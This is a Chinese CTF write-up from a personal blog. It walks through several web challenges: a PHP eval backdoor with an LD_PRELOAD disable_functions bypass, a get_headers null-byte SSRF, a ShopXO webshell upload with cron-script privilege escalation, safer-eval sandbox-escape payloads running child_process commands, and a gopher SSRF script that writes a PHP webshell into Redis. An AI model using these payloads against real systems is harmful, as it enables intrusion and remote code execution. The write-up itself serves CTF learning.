题目算是挺适合我的难度,后面还有一个反序列化题看着挺麻烦的就没搞,有空再复现了
直接给了一个eval:
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
懒得再搞一次了,后面过程简单说下:看下phpinfo发现disabelfunction禁的差不多了,写个一句话连上去,直接就是putenv+LD_PRELOA+mail绕disablefunction,传个so和php到/var/tmp下,文件包含php直接打。
无需sendmail:巧用LD_PRELOAD突破disable_functions
提示cve-2020-7066,是get_headers()
可以被%00截断,让我们访问*.ctfhub.com
,跟安恒5月赛的ezupload的正则一样,截断之后提示:
Tips: Host must be end with '123'
payload:url=http://127.0.0.123%00.ctfhub.com
一个cms,ShopXO,后台默认密码shopxo,找下有cve,下载个主题之后,马儿放到_static_
,再打包传上去,马儿在/public/static/index/default/shell.php,连上去发现权限不足,给了俩提示:
发现有个auto.sh直接在写这个flag.hint,60秒执行一次/var/mail/makeflaghint.py
,看下权限发现是root
恰好这python脚本有写权限,直接把flag写出来。
import os
import io
import time
os.system("echo `cat /root/flag` >/1.txt")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()
也可以拿来弹shell。
源码给出:
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
引用了safer-eval,看下版本是1.3.6,找下issue发现不少payload都能用:
setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();
Buffer.of.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();
clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("whoami").toString();
Other than
setInterval
, one can also useclearInterval
,clearTimeout
andsetTimeout
有个setTimeout,延迟让代码执行不了,这块对我们传入跟60000作比较:
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
setTimeout 当 delay ⼤于 2147483647 或⼩于 1 时,则 delay 将会被设置为 1。 ⾮整 数的 delay 会被截断为整数
反正必须超过60000了(输个大点的不是更好?!),让它大点就变成1了,因此我们随意输入一个大于这个数的数就可以执行代码了。
提示<!--?secret-->
,访问得到俩网卡:
eth0 Link encap:Ethernet HWaddr 02:42:ad:68:44:0a
inet addr:173.79.233.10 Bcast:173.104.68.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:29 errors:0 dropped:0 overruns:0 frame:0
TX packets:28 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5851 (5.8 KB) TX bytes:4952 (4.9 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
直接打173.79.233.10发现弹出来当前页面,扫下端口没发现东西,扫下内网ip发现173.79.233.11上有提示我们扫这台机器的端口。
扫下发现个6379端口,访问之,报错:
-ERR wrong number of arguments for 'get' command 1
想起来之前有个比赛有道题是stmp端口之后用gopherus生成payload,因为gopherus也支持redis的,尝试gopherus后发现无法拿到flag,能看看phpinfo啥的,但system函数执行不了,网上找脚本生成payload之后打过去倒是可以用,shell在173.79.233.11/shell.php上,cat flag即可。
import urllib
protocol="gopher://"
ip="173.239.241.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
payload:
gopher://173.79.233.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/